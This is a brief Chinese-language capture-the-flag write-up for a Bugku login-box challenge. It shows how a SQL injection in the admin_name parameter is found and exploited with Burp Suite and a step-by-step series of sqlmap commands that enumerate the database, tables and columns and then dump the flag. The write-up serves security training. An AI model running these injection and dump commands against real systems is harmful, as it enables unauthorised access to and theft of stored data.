bugku 这是个神奇的登陆框

题目

链接：http://123.206.87.240:9001/sql/

输入admin ，admin 没有回显。
根据url的提示很明显是一个sql注入。
用burpsuit抓包，放到sqlmap里跑一下看看

右键保存至桌面为“1.txt”
打开sqlmap，输入指令

sqlmap -r "1.txt" -p admin_name --dbs

-r 表示读文件 。-p为指定参数 --dbs代表获取当前数据库名


获得数据库名字，当前数据库应该是bugkusql1

下面开始爆表

sqlmap -r "1.txt" -p admin_name -D bugkusql1 --tables

可以确定当前flag所在表是flag1

开始爆列名

sqlmap -r "1.txt" -p admin_name -D bugkusql1 -T flag1 --columns

爆出字段名为flag1

爆内容

sqlmap -r "1.txt" -p admin_name -D bugkusql1 -T flag1 -C flag1 --dump

–dump意思是获取字段内容
之后一路回车可以看到flag了